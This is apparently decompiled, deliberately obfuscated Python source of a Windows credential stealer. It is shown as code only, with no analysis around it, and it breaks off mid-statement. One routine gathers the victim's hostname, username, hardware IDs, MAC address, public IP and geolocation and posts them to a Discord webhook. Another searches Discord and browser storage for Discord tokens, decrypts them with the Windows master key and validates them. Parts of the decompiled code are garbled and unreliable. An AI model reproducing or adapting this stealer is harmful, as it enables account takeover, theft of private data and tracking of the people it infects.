FEDLAYBNRMYYSCBHONXEJTGLWQBIHCGBZDPWVIHYBBAPHTGXBPQQQEUWNYOXYGVNNRMNHWPPYKOXJXMSTIA
.json()

ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQEDL
OX = [Link]('country', 'None')

ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQEDL
OX_code = [Link]('countryCode',
'None')
ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV =
[Link]('regionName', 'None')

ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV_code =
[Link]('region', 'None')
FKMWYQIXHDRUSKGWIPXODPVFUZUMPCKCMQGMKISSDIJBCUSTPILDHSZXIXAFOFTOAECWCVMJOHNJ =
[Link]('zip', 'None')

UHYXBNCFQCYCWPVRDQVNNMACIFQENDIAROGOPRBLPGDVLRNQZDIYNVWVRVSDGVMLHNXLYTCPQKUORYOUFMJ
ROERHWDBRTVVQCMH = [Link]('city',
'None')
HCNEGVAGHMAZZHDZAKCRWMWYLQACGMTPKVNUZXPHVUAXTZVUEWRWYBWMJCMZSVEXBAEADH =
[Link]('lat', 'None')

SRHLMTTULFBZXCNRUDWFJXBMYTJHJQUEFDRBVZREBKTQWDIQYNCRNYGRXKOMTVVWQGUHQGDLUMKTOEFKIGM
GLXIRSJGGPJKSVKP = [Link]('lon',
'None')

AUXJHGBDBWUSPWQFVGXDUMRYIEWIFBVRAXRPFYBDLEUHFCMEDHCJDSIZWLWJMHPLVTCLIEHWAYTLSGIMHOH
PAJNSYAVJQLQZ =
[Link]('timezone', 'None')

JMUKVZMGTRVXYSUEJLXXCDHGARMRQTGLGHKGISLRXURMQKQSZVJMYUIYSHWRXABNJLKEZZFYGKEZHDNLRLS
RIM = [Link]('isp', 'None')

FYZSRBMUMHLUZRYTSMKNDAEIXZSUIPESHKYNSUMSFTJPVVANPWCOJNBCENMGLTCYYYMOSQHTSNOWLVLTLQY
GLLMW = [Link]('org', 'None')
KATVCDFWAABUWATNRHHHRSXOTVDEKYZQGGPAYZVEKPCIRRCRWFHUZW =
[Link]('as', 'None')

def Sy5t3m_Inf0():
import platform
import subprocess
import uuid
import psutil
import GPUtil
import ctypes
import win32api
import string
import screeninfo
from discord import SyncWebhook, Embed

PNSQNEWLJOWBZNKEBJXYBEBVHPWYUMEOSEHSKJDAGQJITKMDUPHKFGYLZBPKASQHNQXTDNDXTOKKFYUOUMO
OLTGRCVOES = {[Link]()}
except:
pass # postinserted

PNSQNEWLJOWBZNKEBJXYBEBVHPWYUMEOSEHSKJDAGQJITKMDUPHKFGYLZBPKASQHNQXTDNDXTOKKFYUOUMO
OLTGRCVOES = 'None'
IKSUFHSWDDNRUCZMIXQZTXLIHRIUOWCDOUGMEJAYUYZEDWZHELC = [Link]()
except:
pass # postinserted
IKSUFHSWDDNRUCZMIXQZTXLIHRIUOWCDOUGMEJAYUYZEDWZHELC = 'None'
OWYZUJRABMDBYSLQYWWCWHRPZVBKTWGXRNKVLWJNUYEBBQSZHCFXG =
':'.join(['{:02x}'.format([Link]() + elements + 255) for elements in range(0,
12, 2)][::(-1)])
except:
 pass # postinserted
OWYZUJRABMDBYSLQYWWCWHRPZVBKTWGXRNKVLWJNUYEBBQSZHCFXG = 'None'

CENQESXMWNELKDADRQBKEQDMUBMQWNAAOGDZDMMHSAMKISYVQGRBHXTLWFQASDKRZNYTGTKWSVNRWSAI =
subprocess.check_output('C:\\Windows\\System32\\wbem\\[Link] csproduct get uuid',
shell=True, stdin=[Link], stderr=[Link]).decode('utf-8').split('\
n')[1].strip()
except:
pass # postinserted

CENQESXMWNELKDADRQBKEQDMUBMQWNAAOGDZDMMHSAMKISYVQGRBHXTLWFQASDKRZNYTGTKWSVNRWSAI =
'None'

MOMULQZMQMLZMUEIDLYSTIHENPFWLPBWYLDFDACGUULUVGHUEDQOHPIFXLIDIMRSDUMNXJVCRWZJKJXJBFT
YXSTTJLZSFJ = round(psutil.virtual_memory().total + 1073741824, 2)
except:
pass # postinserted

MOMULQZMQMLZMUEIDLYSTIHENPFWLPBWYLDFDACGUULUVGHUEDQOHPIFXLIDIMRSDUMNXJVCRWZJKJXJBFT
YXSTTJLZSFJ = 'None'
IWCIQMPRTUYCJEUQOJJLBMWJKFGLYMTSAZYCSNUZFGYREFWURJYLCYHMCBBJQMVVFLYJFUUMTSQOJBQ
= [Link]()
except:
pass # postinserted
IWCIQMPRTUYCJEUQOJJLBMWJKFGLYMTSAZYCSNUZFGYREFWURJYLCYHMCBBJQMVVFLYJFUUMTSQOJBQ
= 'None'

BSWGAWXAYUPXUYUWVJNENMKFSRTWJHGUUHPWLVXJNDHSJMUWVOVKNQQSBOZQXPGRVYNAESRHLXTNLMFBAIM
MXJHQKEMBMDTQI = psutil.cpu_count(logical=False)
except:
pass # postinserted

BSWGAWXAYUPXUYUWVJNENMKFSRTWJHGUUHPWLVXJNDHSJMUWVOVKNQQSBOZQXPGRVYNAESRHLXTNLMFBAIM
MXJHQKEMBMDTQI = 'None'
OFUHHICRSGIFHMPGOUHJZIRIUSPDQNFWKZYWKFDGWMSIVAJPNDEVEUQJCQQIOXBJS =
[Link]()[0].name if [Link]() else 'None'
except:
pass # postinserted
OFUHHICRSGIFHMPGOUHJZIRIUSPDQNFWKZYWKFDGWMSIVAJPNDEVEUQJCQQIOXBJS = 'None'
try:

EZKTEXYIAPHUUHDNFCYYYQMTVHPXQAMSMDETYNBVPUMSPSHWDTUCDOIRFBIXIYJCROKXCKYIMFVFRTQOEST
SWPZQQ = []
JWLYXXRJVJFNCFMYEPFHVRDXLUJDLJPFMWZQKNTUIIVFGDFOIWXMFDGIMNWQLZXHZDJBMML =
[Link]()
for v4r_letter in string.ascii_uppercase:
if
JWLYXXRJVJFNCFMYEPFHVRDXLUJDLJPFMWZQKNTUIIVFGDFOIWXMFDGIMNWQLZXHZDJBMML 1 and 1:
AHLUOAJJBGQMUFBXSGCQWMPRIVYZBUWFKOHFWAUCBIVVXHXMMPWHZP = v4r_letter
+ ':\\'

GFYIMNVHDUWCKNODLQXBGLUMCMLVDUNPONLMPFPXYMJRZHBLQGQREJLLEXWNJNBCVYBQ =
ctypes.c_ulonglong(0)

QRRNTNJYSUVFHPHEUXAYOJQMHZOJMMTURKBEIBRBPIIOJZPIJQTKJOZIFYLWGCPNHDIRCQITBEYUSLWZQVU
ZUYNRAI = ctypes.c_ulonglong(0)

[Link](ctypes.c_wchar_p(AHLUOAJJBGQMUFBXSGCQWMP
RIVYZBUWFKOHFWAUCBIVVXHXMMPWHZP), None,
[Link](QRRNTNJYSUVFHPHEUXAYOJQMHZOJMMTURKBEIBRBPIIOJZPIJQTKJOZIFYLWGCPNHDIR
CQITBEYUSLWZQVUZUYNRAI),
[Link](GFYIMNVHDUWCKNODLQXBGLUMCMLVDUNPONLMPFPXYMJRZHBLQGQREJLLEXWNJNBCVYBQ
))

PPPGULGPYZWCNCNENFZTSTGVPWFWWMSQKAXCVWRFPKNAQOQLLEEDNSMQAFNHROLHRUBUBVKNYNI =
QRRNTNJYSUVFHPHEUXAYOJQMHZOJMMTURKBEIBRBPIIOJZPIJQTKJOZIFYLWGCPNHDIRCQITBEYUSLWZQVU
[Link]

WVAONGLOUROTJVESITPXYEEHAOEOPJLBFQZXVXLFEEPHRLXUMOOCREBHIBCPWWLXBNDVAXOMGFDSXLFJ =
[Link]

DXCHRHACSCNUFGNTZVBBKPXBJDIFRMFRIUKUJAYKHSDQWIBXDEWJGOXLRLTHEGOEJHIBAQJCIYGEIWDYXRV
IXKXNKOWP =
PPPGULGPYZWCNCNENFZTSTGVPWFWWMSQKAXCVWRFPKNAQOQLLEEDNSMQAFNHROLHRUBUBVKNYNI +
WVAONGLOUROTJVESITPXYEEHAOEOPJLBFQZXVXLFEEPHRLXUMOOCREBHIBCPWWLXBNDVAXOMGFDSXLFJ

SWYBWDCAJJLCETLWAHTMVIENTELKVUGPGLMHVXPWMTSUGXVNGFWICXQQNWUTHHNEFTQQBHAIIEODZKFKIOX
A =
[Link](AHLUOAJJBGQMUFBXSGCQWMPRIVYZBUWFKOHFWAUCBIVVXHXMMPWHZ
P)[0]
drive = {'drive':
AHLUOAJJBGQMUFBXSGCQWMPRIVYZBUWFKOHFWAUCBIVVXHXMMPWHZP, 'total':
PPPGULGPYZWCNCNENFZTSTGVPWFWWMSQKAXCVWRFPKNAQOQLLEEDNSMQAFNHROLHRUBUBVKNYNI,
'free':
WVAONGLOUROTJVESITPXYEEHAOEOPJLBFQZXVXLFEEPHRLXUMOOCREBHIBCPWWLXBNDVAXOMGFDSXLFJ,
'used':
DXCHRHACSCNUFGNTZVBBKPXBJDIFRMFRIUKUJAYKHSDQWIBXDEWJGOXLRLTHEGOEJHIBAQJCIYGEIWDYXRV
IXKXNKOWP, 'name':
SWYBWDCAJJLCETLWAHTMVIENTELKVUGPGLMHVXPWMTSUGXVNGFWICXQQNWUTHHNEFTQQBHAIIEODZKFKIOX
A}

EZKTEXYIAPHUUHDNFCYYYQMTVHPXQAMSMDETYNBVPUMSPSHWDTUCDOIRFBIXIYJCROKXCKYIMFVFRTQOEST
[Link](drive)
JWLYXXRJVJFNCFMYEPFHVRDXLUJDLJPFMWZQKNTUIIVFGDFOIWXMFDGIMNWQLZXHZDJBMML
= JWLYXXRJVJFNCFMYEPFHVRDXLUJDLJPFMWZQKNTUIIVFGDFOIWXMFDGIMNWQLZXHZDJBMML + 1
else: # inserted
WPKKOXBLLYRMSTLSDMIJEPTLVBCIBPVGJPRCXPCVJNFZWCNJQBEKHOFOC = '{:<7}
{:<10} {:<10} {:<10} {:<20}\n'.format('Drive:', 'Free:', 'Total:', 'Use:', 'Name:')
for v4r_drive in
EZKTEXYIAPHUUHDNFCYYYQMTVHPXQAMSMDETYNBVPUMSPSHWDTUCDOIRFBIXIYJCROKXCKYIMFVFRTQOEST
SWPZQQ:

WCITBTQBEZYZNKEXVSOUBRHHYPIXIAEEUGYHYWROIWOSAQXQFMFTJLCDONJGMHTBAIKLGNRJ =
(v4r_drive['used'], v4r_drive['total']) * 100

WVAONGLOUROTJVESITPXYEEHAOEOPJLBFQZXVXLFEEPHRLXUMOOCREBHIBCPWWLXBNDVAXOMGFDSXLFJ_gb
= '{:.2f}GO'.format(v4r_drive['free'] + 1073741824)

PPPGULGPYZWCNCNENFZTSTGVPWFWWMSQKAXCVWRFPKNAQOQLLEEDNSMQAFNHROLHRUBUBVKNYNI_gb =
'{:.2f}GO'.format(v4r_drive['total'] + 1073741824)

WCITBTQBEZYZNKEXVSOUBRHHYPIXIAEEUGYHYWROIWOSAQXQFMFTJLCDONJGMHTBAIKLGNRJ_str =
'{:.2f}
%'.format(WCITBTQBEZYZNKEXVSOUBRHHYPIXIAEEUGYHYWROIWOSAQXQFMFTJLCDONJGMHTBAIKLGNRJ)
WPKKOXBLLYRMSTLSDMIJEPTLVBCIBPVGJPRCXPCVJNFZWCNJQBEKHOFOC =
WPKKOXBLLYRMSTLSDMIJEPTLVBCIBPVGJPRCXPCVJNFZWCNJQBEKHOFOC + '{:<7} {:<10} {:<10}
{:<10} {:<20}'.format(v4r_drive['drive'],
WVAONGLOUROTJVESITPXYEEHAOEOPJLBFQZXVXLFEEPHRLXUMOOCREBHIBCPWWLXBNDVAXOMGFDSXLFJ_gb
, PPPGULGPYZWCNCNENFZTSTGVPWFWWMSQKAXCVWRFPKNAQOQLLEEDNSMQAFNHROLHRUBUBVKNYNI_gb,
WCITBTQBEZYZNKEXVSOUBRHHYPIXIAEEUGYHYWROIWOSAQXQFMFTJLCDONJGMHTBAIKLGNRJ_str,
v4r_drive['name'])
else: # inserted
try:
pass # postinserted
except:
pass
except:
pass # postinserted
WPKKOXBLLYRMSTLSDMIJEPTLVBCIBPVGJPRCXPCVJNFZWCNJQBEKHOFOC = 'Drive: Free:
Total: Use: Name: \nNone None None None None
\n'
try:
def is_portable():
try:
battery = psutil.sensors_battery()
return battery is not None and battery.power_plugged is not None
except AttributeError:
return False
if is_portable():
PUQITSITOMDIJKTDRSACFFGCORZQINNFSATDPSECQVTXKTYAYMOL = 'Pc Portable'
else: # inserted
PUQITSITOMDIJKTDRSACFFGCORZQINNFSATDPSECQVTXKTYAYMOL = 'Pc Fixed'
except:
PUQITSITOMDIJKTDRSACFFGCORZQINNFSATDPSECQVTXKTYAYMOL = 'None'
KDNAACBWFKSUWOURXXLTSECXUSDWQYHIAUBYYTKOKKGTLIITFZANGMASK =
len(screeninfo.get_monitors())
except:
pass # postinserted
KDNAACBWFKSUWOURXXLTSECXUSDWQYHIAUBYYTKOKKGTLIITFZANGMASK = 'None'
embed = Embed(title=f'System Info
`{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMX
DWDAP} \"{IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZV
CSTBDBADQYN}\"`:',
color=KZQJVODPJWFGGZKARRUBKLCEBVNJFBGJSEAJUZKLCOZGJVSCALVPXPNXACCOARNPHJOXQKEWCFOIH
OWXJCTAHXEGQFSQMNVFUX)
embed.add_field(name=':bust_in_silhouette: User Pc:', value=f'```Hostname :
{WIKPWOBQIBEOAFFOLBPQWJLLGTGRUBMKENXBUEQXJSISANXJNFBTAWPKHUVWMEVUBAEQLLYOQMARCGRQAR
GKXHZKR}\nUsername :
{OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMXD
WDAP}\nDisplayName :
{ZTVJUUPKNRMVPRVOGUDLXQNNVQVKNDUKBLTXIZJKYYICSJTZAVSEBEDUYELEPSGAPNMIJPRHLX}```',
inline=False)
embed.add_field(name=':computer: System:', value=f'```Plateform :
{PUQITSITOMDIJKTDRSACFFGCORZQINNFSATDPSECQVTXKTYAYMOL}\nExploitation :
{PNSQNEWLJOWBZNKEBJXYBEBVHPWYUMEOSEHSKJDAGQJITKMDUPHKFGYLZBPKASQHNQXTDNDXTOKKFYUOUM
OOLTGRCVOES} {IKSUFHSWDDNRUCZMIXQZTXLIHRIUOWCDOUGMEJAYUYZEDWZHELC}\nScreen Number :
{KDNAACBWFKSUWOURXXLTSECXUSDWQYHIAUBYYTKOKKGTLIITFZANGMASK}\n\nHWID :
{CENQESXMWNELKDADRQBKEQDMUBMQWNAAOGDZDMMHSAMKISYVQGRBHXTLWFQASDKRZNYTGTKWSVNRWSAI}\
nMAC : {OWYZUJRABMDBYSLQYWWCWHRPZVBKTWGXRNKVLWJNUYEBBQSZHCFXG}\nCPU :
{IWCIQMPRTUYCJEUQOJJLBMWJKFGLYMTSAZYCSNUZFGYREFWURJYLCYHMCBBJQMVVFLYJFUUMTSQOJBQ},
{BSWGAWXAYUPXUYUWVJNENMKFSRTWJHGUUHPWLVXJNDHSJMUWVOVKNQQSBOZQXPGRVYNAESRHLXTNLMFBAI
MMXJHQKEMBMDTQI} Core\nGPU :
{OFUHHICRSGIFHMPGOUHJZIRIUSPDQNFWKZYWKFDGWMSIVAJPNDEVEUQJCQQIOXBJS}\nRAM :
{MOMULQZMQMLZMUEIDLYSTIHENPFWLPBWYLDFDACGUULUVGHUEDQOHPIFXLIDIMRSDUMNXJVCRWZJKJXJBF
TYXSTTJLZSFJ}Go```', inline=False)
embed.add_field(name=':satellite: Ip:', value=f'```Public :
{IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZVCSTBDBADQ
YN}\nLocal : {QKGIDHXWHRRQWWPPDSGQWONGESSMXQLFQIOHUUOULUCYOMQEZWFOFZFBWDSQ}\nIsp
:
{JMUKVZMGTRVXYSUEJLXXCDHGARMRQTGLGHKGISLRXURMQKQSZVJMYUIYSHWRXABNJLKEZZFYGKEZHDNLRL
SRIM}\nOrg :
{FYZSRBMUMHLUZRYTSMKNDAEIXZSUIPESHKYNSUMSFTJPVVANPWCOJNBCENMGLTCYYYMOSQHTSNOWLVLTLQ
YGLLMW}\nAs : {KATVCDFWAABUWATNRHHHRSXOTVDEKYZQGGPAYZVEKPCIRRCRWFHUZW}```',
inline=False)
embed.add_field(name=':minidisc: Disk:',
value=f'```{WPKKOXBLLYRMSTLSDMIJEPTLVBCIBPVGJPRCXPCVJNFZWCNJQBEKHOFOC}```',
inline=False)
embed.add_field(name=':map: Location:', value=f'```Country :
{ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQED
LOX}
({ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQE
DLOX_code})\nRegion :
{ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV}
({ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV_code
})\nZip :
{FKMWYQIXHDRUSKGWIPXODPVFUZUMPCKCMQGMKISSDIJBCUSTPILDHSZXIXAFOFTOAECWCVMJOHNJ}\
nCity :
{UHYXBNCFQCYCWPVRDQVNNMACIFQENDIAROGOPRBLPGDVLRNQZDIYNVWVRVSDGVMLHNXLYTCPQKUORYOUFM
JROERHWDBRTVVQCMH}\nTimezone :
{AUXJHGBDBWUSPWQFVGXDUMRYIEWIFBVRAXRPFYBDLEUHFCMEDHCJDSIZWLWJMHPLVTCLIEHWAYTLSGIMHO
HPAJNSYAVJQLQZ}\nLatitude :
{HCNEGVAGHMAZZHDZAKCRWMWYLQACGMTPKVNUZXPHVUAXTZVUEWRWYBWMJCMZSVEXBAEADH}\nLongitude
:
{SRHLMTTULFBZXCNRUDWFJXBMYTJHJQUEFDRBVZREBKTQWDIQYNCRNYGRXKOMTVVWQGUHQGDLUMKTOEFKIG
MGLXIRSJGGPJKSVKP}```', inline=False)

embed.set_footer(text=GCXPFMSAIYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUU
BMAKYLEKXVLXLPMM, icon_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)
w3bh00k =
SyncWebhook.from_url(TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRX
IAMFFEBCP)
[Link](embed=embed,
username=SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCB
PACAWTNFLRWEFDSOILHWHMC,
avatar_url=YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP)

def Di5c0rd_T0k3n():
import os
import re
import json
import base64
import requests
from [Link] import AES
from [Link] import scrypt
from win32crypt import CryptUnprotectData
from discord import SyncWebhook, Embed

def extr4ct_t0k3n5():

QTASNMFAKZTDLIAXNXAZTWAUFXRVHZSNGJCJAHJMMFOCUXPQHYLMRBDKXYPEGSFLVXIFMMPDQXTZZTAAEPF
CXHSC = '[Link]

VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R = [Link]('localappdata')

DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDISIQXANALDUYFOUZ
BZYGYAOYGYZ = [Link]('appdata')

ZAYCNMORBODYOOKQYRHHQGFLJEQBTJWXUIXLIIUEYYBLFUUVMGSZLHOWMYQYQSGNXOHWDRWSZMZUBJRQSMF
CGQCZHUALGWFWPMM = '[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}'

ZAYCNMORBODYOOKQYRHHQGFLJEQBTJWXUIXLIIUEYYBLFUUVMGSZLHOWMYQYQSGNXOHWDRWSZMZUBJRQSMF
CGQCZHUALGWFWPMM_enc = 'dQw4w9WgXcQ:[^\\\"]*'
FWWFPBDPLBYXLYLHXWSHGIKOPFWSOEHDWOBBGGAOCCGVSJNAVLPWWTUBEDONLIWHUIVHLTUI =
[]
ZEZWGPBJVTZXAZKALMWCQTIVFAELXLONENOGOVZZBYLMQSTOHIVXJCJVWQQSQCVBIRGUCAS =
[]
HBLRWNLKBAVQRWNAGLZTGGWMWDKXUPGALEMFLWOMECAZPRWBKCMQMDDZMOVPNZFLAVBAYOI =
{}

AJPVGZGJTLTOUNQREHDBCIPJCTVHBEYPHJRFHZCXBLKCEVQWCIQHWSWETJLHPOFMPAWZGJIQPHPT =
{**{'Google Chrome2': 'Discord', 'Google Chrome3':
DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDISIQXANALDUYFOUZ
BZYGYAOYGYZ + '\\discord\\Local Storage\\leveldb\\', 'Google Chrome4':
DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDISIQXANALDUYFOUZ
BZYGYAOYGYZ + '\\discordcanary\\Local Storage\\leveldb\\', 'Google Chrome5':
'Lightcord', 'Epic Privacy Browser':
DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDISIQXANALDUYFOUZ
BZYGYAOYGYZ + '\\Lightcord\\Local Storage\\leveldb\\', 'Microsoft Edge': 'Discord
PTB', 'Uran':
DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDISIQXANALDUYFOUZ
BZYGYAOYGYZ + '\\discordptb\\Local Storage\\leveldb\\', 'Yandex':
DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDISIQXANALDUYFOUZ
BZYGYAOYGYZ + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\', 'Brave':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + '\\Amigo\\User Data\\Local Storage\\leveldb\\', 'Iridium': 'Torch',
'AJPVGZGJTLTOUNQREHDBCIPJCTVHBEYPHJRFHZCXBLKCEVQWCIQHWSWETJLHPOFMPAWZGJIQPHPT':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + '\\Torch\\User Data\\Local Storage\\leveldb\\', '<code object B10ck_M0u53 at
0x7fb651eb52f0, file "[Link]", line 223>':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + 'Kometa', '<code object B10ck_W3b5it3 at 0x7fb651eb70f0, file "[Link]", line
224>':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + '\\Kometa\\User Data\\Local Storage\\leveldb\\', '<code object St4rtup at
0x7fb651eb6d30, file "[Link]", line 225>':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + 'Orbitum', '<code object Sy5t3m_Inf0 at 0x7fb651eb53b0, file "[Link]", line
226>':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + '\\Orbitum\\User Data\\Local Storage\\leveldb\\', '<code object
Op3n_U53r_Pr0fi13_53tting5 at 0x7fb651eb4b70, file "[Link]", line 227>':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + 'CentBrowser', '<code object Scr33n5h0t at 0x7fb651eb7db0, file "[Link]", line
228>':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\', '<code object
C4m3r4_C4ptur3 at 0x7fb651eb5230, file "[Link]", line 229>':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + '7Star', '<code object Di5c0rd_T0k3n at 0x7fb651eb4330, file "[Link]", line
230>':
VUNCULORLZWEUKFJEDVGUQJLALUTBXUUJCCSARCJXRYJFJDONYEZKZMOLVBALBCTWMIDCODFFIOIJFGKXJX
R + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\', '
for
RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNXS
SMRYLCZJHLFP,
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR in
[Link](
):
if not
[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFIS
FYNSOAKOKPOKNESZPRJLKCRSNDSFR):
continue

UHTFLLUAQPBGILORIBNCRUEWMIWHRXWNUCHIACVQOWXBYHGVEJKBACRZMFNSAQMKGGWSOJSZGPZXOIE =
RXGRHBZVGSWYWVJGNHFKQCXVNWDLWCPFLQWNVECEXMAIQLUJHTKLWTTQNFYSADLYSUVUYQJITKFKDZQFNXS
[Link](' ', '').lower()
if 'cord' in
JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAKOKPOKNES
ZPRJLKCRSNDSFR:
if not
[Link](DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDI
SIQXANALDUYFOUZBZYGYAOYGYZ + f'\\
{UHTFLLUAQPBGILORIBNCRUEWMIWHRXWNUCHIACVQOWXBYHGVEJKBACRZMFNSAQMKGGWSOJSZGPZXOIE}\\
Local State'):
continue
for v4r_file_name in
[Link](JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNS
OAKOKPOKNESZPRJLKCRSNDSFR):
if v4r_file_name[(-3):] not in ('log', 'ldb'):
continue
with
open(f'{JOEMSBNLFZFCAMJKRIGLPWBROSDOMVXWEAHJRLHDQIWRASCURKYTLBAYSTFTQIHCWFISFYNSOAK
OKPOKNESZPRJLKCRSNDSFR}\\{v4r_file_name}', errors='ignore') as v4r_file:
for v4r_line in v4r_file:
for y in
[Link](ZAYCNMORBODYOOKQYRHHQGFLJEQBTJWXUIXLIIUEYYBLFUUVMGSZLHOWMYQYQSGNXOHWDRWS
ZMZUBJRQSMFCGQCZHUALGWFWPMM_enc, v4r_line.strip()):

NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ = decrypt_val(base64.b64decode([Link]('dQw4w9WgXcQ:')[1]),
get_master_key(DQTTZAVXRVXWBIWBULYUPRSCEELHRYCXDEISJCEWVUYYDUAHOLKWKYXSLXIZPUJMWJDI
SIQXANALDUYFOUZBZYGYAOYGYZ + f'\\
{UHTFLLUAQPBGILORIBNCRUEWMIWHRXWNUCHIACVQOWXBYHGVEJKBACRZMFNSAQMKGGWSOJSZGPZXOIE}\\
Local State'))
if
validate_t0k3n(NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNX
BLXCZHFLFOHLPVBYIMEOQFRTAJQQ,
QTASNMFAKZTDLIAXNXAZTWAUFXRVHZSNGJCJAHJMMFOCUXPQHYLMRBDKXYPEGSFLVXIFMMPDQXTZZTAAEPF
CXHSC):

XBXFQWCLDXTPWIWURUTKKPYGRBVTIEHFEJBNAKOLJVJUICALMWKGGJSFLUTAGOQLXAGGFNJBRVIMOCJJBSC
GQDPHDG =
[Link](QTASNMFAKZTDLIAXNXAZTWAUFXRVHZSNGJCJAHJMMFOCUXPQHYLMRBDKXYPEGSFLVXIFMM
PDQXTZZTAAEPFCXHSC, headers={'Authorization':
NHQWXDTRWCGOHYAALABBBKIQJZMUACNYNKYYFLFHMLUXLBTSGJNVUCQGXBAQWRFOGUNXBLXCZHFLFOHLPVB
YIMEOQFRTAJQQ}).json()['id']
if
XBXFQWCLDXTPWIWURUTKKPYGRBVTIEHFEJBNAKOLJVJUICALMWKGGJSFLUTAGOQLXAGGFNJBRVIMOCJJBSC
GQDPHDG not in
ZEZWGPBJVTZXAZKALMWCQTIVFAELXLONENOGOVZZBYLMQSTOHIVXJCJVWQQSQCVBIRGUCAS:

[Link](NHQ
